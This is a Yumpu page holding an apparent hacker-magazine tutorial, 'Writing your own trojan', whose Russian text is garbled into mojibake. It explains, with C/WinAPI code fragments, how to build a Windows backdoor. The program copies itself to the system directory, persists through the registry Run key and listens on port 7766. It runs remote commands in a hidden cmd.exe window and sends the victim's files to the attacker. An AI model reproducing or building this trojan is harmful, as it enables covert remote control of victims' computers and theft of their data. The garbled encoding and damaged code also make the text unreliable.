12.04.2014 Views

БОЕВЫЕ РОБОТЫ:

БОЕВЫЕ РОБОТЫ:

БОЕВЫЕ РОБОТЫ:

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Êîäèíã<br />

ÏÈØÅÌ ÑÂÎÅÃÎ ÒÐÎßÍÀ<br />

GorluM (gorlum@xakepru)<br />

ïàðàìåòðà, íè îäèí èç êîòîðûõ íàì íå ïîíàäîáèòñÿ, ïîýòîìó íàçâàíèå<br />

ïàðàìåòðîâ ÿ íå ïèøó, à ïèøó òîëüêî èõ òèï<br />

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){<br />

Ïåðâûì äåëîì ìû äîëæíû ñêîïèðîâàòü ñåáÿ â ñèñòåìíóþ äèðåêòîðèþ Ñîçäàåì<br />

äâà ñòðîêîâûõ áóôåðà ïî 256 ñèìâîëîâ êàæäûé Ïåðâûé äëÿ õðàíåíèÿ ïîëíîãî<br />

ïóòè ñ èìåíåì çàïóùåííîãî òðîÿíà (íå áóäåøü æå ðàñïðîñòðàíÿòü trojanexe), à<br />

âòîðîé äëÿ íîâîãî ïóòè â ñèñòåìíîé äèðåêòîðèè Ïîëíûé ïóòü ñ èìåíåì ôàéëà<br />

íàì ïðèäåòñÿ ïîëó÷èòü ñ ïîìîùüþ ôóíêöèè ÿäðà GetModuleFileName Ïåðåäàâàÿ<br />

â ïåðâîì ïàðàìåòðå GetModuleHandle(0), ìû ñîîáùàåì ôóíêöèè îïèñàòåëü<br />

ìîäóëÿ çàïóùåííîãî ôàéëà, âî âòîðîì è òðåòüåì ïàðàìåòðå áóôåð, â êîòîðûé<br />

ïèñàòü ïóòü è åå ðàçìåð ñîîòâåòñòâåííî Ïóòü, êóäà áóäåì êîïèðîâàòü, ìû<br />

ïîëó÷èì ñ ïîìîùüþ ôóíêöèè GetSystemDirectory, ñîîáùèâ åé â ïàðàìåòðàõ<br />

âòîðîé áóôåð è ñêëåèâ åå ñ íîâûì èìåíåì ôàéëà â ôîðìàòå «\\trojanexe»<br />

Âûçûâàåì CopyFile ñ íàøèìè, óæå çàïîëíåííûìè áóôåðàìè â ïåðâûõ äâóõ<br />

ïàðàìåòðàõ è true â òðåòüåì, åñëè ìû íå õîòèì ïåðåçàïèñûâàòü ñóùåñòâóþùèé<br />

ôàéë, èëè false, åñëè õîòèì<br />

Äàëüøå ñ ïîìîùüþ ôóíêöèé ðàáîòû ñ ðååñòðîì ìû çàïèøåì â<br />

SOFTWARE\Microsoft\Windows\CurrentVersion\Run ñâîé ñâåæåñêîïèðîâàííûé<br />

ôàéë, ÷òîáû îí ãðóçèëñÿ ïðè êàæäîì çàïóñêå ñèñòåìû Òðîÿí çàãðóæåí è ãîòîâ ê<br />

êðóãîâîé îáîðîíå (àòàêå :))<br />

Ñëóøàåì ïîðò<br />

Íàêîíåö ìû äîáðàëèñü äî ñàìîãî âàæíîãî ó÷àñòêà êîäà, áåç êîòîðîãî òðîÿí - ýòî<br />

íå òðîÿí Ó÷àñòêà, îòâå÷àþùåãî çà îáìåí äàííûìè æåðòâû ñ òîáîé :) Êàê òû<br />

óæå, íàâåðíîå, çíàåøü èç ñòàòåé Horrific`à, äëÿ èñïîëüçîâàíèÿ ôóíêöèé<br />

winsock`à åãî ñíà÷àëà òðåáóåòñÿ èíèöèàëèçèðîâàòü  ñÿõ ýòî äåëàåòñÿ<br />

ñëåäóþùèì êîäîì:<br />

WSADATA wsaData;<br />

WSAStartup(MAKEWORD(2,2), &wsaData);<br />

Ïîñëå èíèöèàëèçàöèè ìîæíî ïðèñòóïàòü ê ðàáîòå ñ ñîêåòàìè Äëÿ íà÷àëà ìû<br />

ñîçäàäèì ñîêåò listet_Sock ñ ïîìîùüþ ôóíêöèè socket Âî âòîðîì ïàðàìåòðå<br />

ýòîé ôóíêöèè ìû ïåðåäàäèì åé defined çíà÷åíèå SOCK_STREAM, ÷òî îçíà÷àåò,<br />

÷òî ìû áóäåì èñïîëüçîâàòü äëÿ ñâÿçè ïîòîêîâûé ïðîòîêîë TCP Åñëè áû ìû<br />

õîòåëè þçàòü UDP, òî ïåðåäàëè áû SOCK_DGRAM<br />

SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);<br />

Òåïåðü ìû äîëæíû çàäàòü ñâîéñòâà ýòîãî ñîêåòà, òî åñòü íîìåð îòêðûâàåìîãî<br />

íàìè ïîðòà, âîçìîæíûå äëÿ ñîåäèíåíèÿ ip-àäðåñà è ñåìåéñòâî ñîêåòîâ,<br />

ïàðàìåòð AF_INET, êîòîðûé óêàçûâàåò íà òî, ÷òî ìû ðàáîòàåì ñ èíòåðíåòîì Äëÿ<br />

ýòèõ ñâîéñòâ ñóùåñòâóåò ñòðóêòóðà sockaddr_in, êîòîðóþ ìû è çàïîëíèì<br />

//ñîçäàåì ïåðåìåííóþ ñî ñâîéñòâàìè<br />

SOCKADDR_IN addr_Sock;<br />

addr_Socksin_family = AF_INET;<br />

//ñîîáùàåì, ÷òî ê íàì ìîãóò êîííåêòèòüñÿ ñ ëþáîãî àäðåñà<br />

addr_Socksin_addrs_addr = htonl(INADDR_ANY);<br />

//ãîâîðèì, ÷òî áóäåì ñëóøàòü ïîðò 7766, ìîæåøü íàïèñàòü ëþáîé<br />

addr_Socksin_port = htons(7766);<br />

Åñëè áû ìû õîòåëè îãðàíè÷èòü âîçìîæíûå êîííåêòû ê íàøåìó òðîÿíó êàêèì-òî<br />

ip, òî íàïèñàëè áû inet_addr(«127001») âìåñòî INADDR_ANY inet_addr - î÷åíü<br />

ïîëåçíàÿ ôóíêöèÿ, êîòîðàÿ íàâåðíÿêà òåáå åùå ïðèãîäèòñÿ äëÿ<br />

ïðîãðàììèðîâàíèÿ ñîêåòîâ Îíà ïðåâðàùàåò ñòðîêó ñ àäðåñîì â ôîðìàòå<br />

«abcd» â long ÷èñëî, ÷òîáû åãî âïîñëåäñòâèè ìîæíî áûëî èñïîëüçîâàòü äëÿ<br />

ñâîéñòâ è òï Ôóíêöèÿ htons ïðåâðàùàåò öåëîå ÷èñëî â óäîáî÷èòàåìîå<br />

ìàøèíîé, è åñëè ïðèñâîèòü addr_Socksin_port íå ôóíêöèþ htons, à òîëüêî åå<br />

ïàðàìåòð 7766, òî ïðîãðàììà îòêðîåò ëþáîé ïîðò, íî òîëüêî íå òîò, ÷òî ìû<br />

õîòèì =)<br />

Ñ ïîìîùüþ ôóíêöèè bind ìû ñêëåèì ñîçäàííûé íàìè ñîêåò listet_Sock è åãî<br />

ñâîéñòâà addr_Sock (â óìíûõ êíèæêàõ ýòè ñâîéñòâà çîâóòñÿ ëîêàëüíûì àäðåñîì)<br />

Åñëè ôóíêöèÿ âåðíåò çíà÷åíèå, îòëè÷íîå îò íóëÿ, çíà÷èò, ïðîèçîøëà êàêàÿ-òî<br />

îøèáêà, èëè ïîðò óæå çàíÿò äðóãîé ïðîãðàììîé, èëè åùå ÷òî-òî  ñëó÷àå<br />

îøèáêè òðîÿí çàêðîåòñÿ ñ ïîìîùüþ êîìàíäû return 0, êîòîðàÿ ãîâîðèò<br />

ïðîãðàììå, ÷òîáû òåêóùàÿ ôóíêöèÿ âåðíóëà çíà÷åíèå 0 è âûðóáèëàñü, à òàê êàê<br />

ó íàñ ôóíêöèÿ îäíà, òî îíà è âûðóáàåòñÿ âìåñòå ñ íàøèì áåäíûì ñåðâåðîì<br />

if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct<br />

sockaddr))) return 0;<br />

À ýòîé ñòðîêîé ìû, íàêîíåö, íà÷íåì ÑËÓØÀÒÜ ïîðò, òî åñòü îòêðîåì åãî äëÿ<br />

ñîåäèíåíèé Åñëè áûòü òî÷íûì, äëÿ îäíîãî ñîåäèíåíèÿ  ïåðâîì ïàðàìåòðå ìû<br />

ïåðåäàåì ïåðåìåííóþ-ñîêåò, êîòîðûé îòêðûâàåì, à âî âòîðîì - êîëè÷åñòâî<br />

âîçìîæíûõ êîííåêòîâ, íàì áîëüøå îäíîãî íå íàäî Êàê è â ñëó÷àå ñ bind`îì, ïðè<br />

îøèáêå îòêëþ÷àåì òðîÿí<br />

if(listen(listet_Sock, 1)) return 0;<br />

Ôóíêöèè òðîÿíà<br />

Äëÿ òîãî ÷òîáû íà÷èíàòü ïðèíèìàòü êîìàíäû îò êëèåíòà ê ñåðâåðó, ïîòðåáóåòñÿ<br />

ñíà÷àëà ðàçðåøèòü êëèåíòó ïðèêîííåêòèòüñÿ ôóíêöèåé accept Ýòà ôóíêöèÿ<br />

æäåò, ïîêà êòî-íèáóäü íå ïðèñîåäèíèòñÿ ê ñîçäàííîìó íàìè ñîêåòó, è<br />

âîçâðàùàåò íîâûé ñîêåò, èç êîòîðîãî ìû è áóäåì ïîëó÷àòü êîìàíäû ×òîáû<br />

ïîñëå ïåðâîãî æå äèñêîííåêòà òðîÿí ó íàñ íå ïàäàë, ìû äîëæíû çàñóíóòü ýòó<br />

ôóíêöèþ â áåñêîíå÷íûé öèêë while(true)  ýòîì öèêëå ìû áóäåì æäàòü<br />

êîííåêòà, çàòåì çàïóñêàòü íîâûé áåñêîíå÷íûé öèêë (àâòîðû BO2K íàçâàëè ýòîò<br />

öèêë CommandLoop) äëÿ îáðàáîòêè ïîëó÷àåìûõ îò êëèåíòà êîìàíä, èç êîòîðîãî<br />

âûéäåì òîëüêî â ñëó÷àå îøèáêè ïðè ïðèåìå äàííûõ<br />

1) Æäåì êîííåêòà<br />

2) Îáðàáàòûâàåì êîìàíäû<br />

3) Ïðè îøèáêå çàêðûâàåì ñóùåñòâóþùèå ñîåäèíåíèÿ<br />

4) Âîçâðàùàåìñÿ ê ï1<br />

Êîìàíäû áóäóò ïðèíèìàòüñÿ â âèäå ñòðîêè, ïåðâûé ñèìâîë êîòîðîé -<br />

ñîáñòâåííî, âûáîð ôóíêöèè, âòîðîé - ðàçäåëèòåëü, ëþáîé, à îñòàëüíûå - ýòî<br />

àðãóìåíò, êîòîðûé ìû ïåðåäàåì ôóíêöèè íàøåãî òðîÿíà Âîò ïðèìåð êîìàíäû,<br />

ïîñûëàåìîé êëèåíòîì: «m Ïðèâåò» Òðîÿí ñíà÷àëà ïðèìåò ïåðâûå äâà ñèìâîëà<br />

è ïðîâåðèò, åñòü ëè ó íàñ ôóíêöèÿ, íàçíà÷åííàÿ íà ñèìâîë m (ó íàñ ýòî âûâîä<br />

ñîîáùåíèÿ) Çàòåì ïðèìåò åùå 126 ñèìâîëîâ è çàãðóçèò íàøó ôóíêöèþ Òî åñòü<br />

òðîÿí â öèêëå ïðèíèìàåò ñ ïîìîùüþ ôóíêöèè recv èç ñîçäàííîãî ïîñëå êîííåêòà<br />

ñîêåòà hack_Sock äàííûå äâà ðàçà, â ïåðâûé áóôåð 2 áàéòà, è âî âòîðîé 126 Â<br />

ñëó÷àå, åñëè äàííûå ïîëó÷èòü íå óäàëîñü, CommandLoop çàâåðøèòñÿ êîìàíäîé<br />

break, ñîêåò çàêðîåòñÿ è ñåðâåð ñíîâà áóäåò æäàòü êîííåêòà<br />

Ðàñïèøåì ôóíêöèè òðîÿíà ïîäðîáíåå:<br />

Åñëè ïåðâûé ñèìâîë m, òî âûïîëíÿåòñÿ ôóíêöèÿ MessageBox(0,buf,»Hacked<br />

=)»,0), ãäå buf - ýòî íàø âòîðîé áóôåð<br />

Äåìîíñòðàöèÿ ðàáîòû êîíñîëüíîãî êëèåíòà<br />

Åñëè ïåðâûé ñèìâîë e, òî ñòðîêà buf âûïîëíÿåòñÿ ÷åðåç cmdexe c ïàðàìåòðîì<br />

/c, äëÿ ýòîãî çàïóñêàåòñÿ ôóíêöèÿ ñ òàêèìè ïàðàìåòðàìè<br />

ShellExecuteA(NULL, «open», «cmdexe», buf_command, NULL, SW_HIDE), ãäå<br />

buf_command - ýòî íàø áóôåð ñ äîáàâëåííîé âïåðåä ñòðîêîé «/c «, à SW_HIDE<br />

óêàçûâàåò íà òî, ÷òî æåðòâà íå äîëæíà âèäåòü ïîÿâëÿþùóþñÿ êîíñîëü<br />

È ïîñëåäíÿÿ, ñàìàÿ ñëîæíàÿ ôóíêöèÿ, îñóùåñòâëÿþùàÿ ñêà÷èâàíèå ôàéëà ñ<br />

ìàøèíû æåðòâû Îíà âûïîëíÿåòñÿ â ñëó÷àå, åñëè ïåðâûé ñèìâîë - ýòî f Ñíà÷àëà<br />

îíà îòêðûâàåò ôàéë òîëüêî äëÿ ÷òåíèÿ ôóíêöèåé CreateFile À çàòåì, åñëè ôàéë<br />

ñóùåñòâóåò, â öèêëå ïîñûëàåò ïî 4096 áàéòîâ ýòîãî ôàéëà Åñëè æå áàéòîâ<br />

îòîñëàíî ìåíüøå, çíà÷èò, ýòî êîíåö ôàéëà è öèêë ïðåðûâàåòñÿ À ñèãíàëîì äëÿ<br />

êëèåíòà, ÷òî ôàéë çàêîí÷èëñÿ, áóäåò äèñêîííåêò<br />

Êëèåíò<br />

 ðîëè êëèåíòà ìîæåò âûñòóïàòü ëþáàÿ ïðîãðàììà, êîòîðàÿ ìîæåò ïîñëàòü ïàêåò<br />

çàäàííîãî íàìè ôîðìàòà æåðòâå Òî åñòü ñêîííåêòèòüñÿ ñ ñåðâàêîì è âûïîëíèòü<br />

êîìàíäó òèïà: send(sock,»m Hello»,128,0) Íî íà âñÿêèé ñëó÷àé ÿ íàïèñàë êëèåíò,<br />

êîòîðûé ðàáîòàåò èç êîìàíäíîé ñòðîêè, è, ïî èäåå, åãî ëåãêî ïåðåíåñòè íà<br />

ëþáóþ ïëàòôîðìó Ïîñûëêà êîìàíäû òðîÿíó îñóùåñòâëÿåòñÿ êîìàíäîé clientexe<br />

[ip æåðòâû] [ôóíêöèÿ] [àðãóìåíò], íàïðèìåð:<br />

client 127001 m Ïðèâåò<br />

88

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!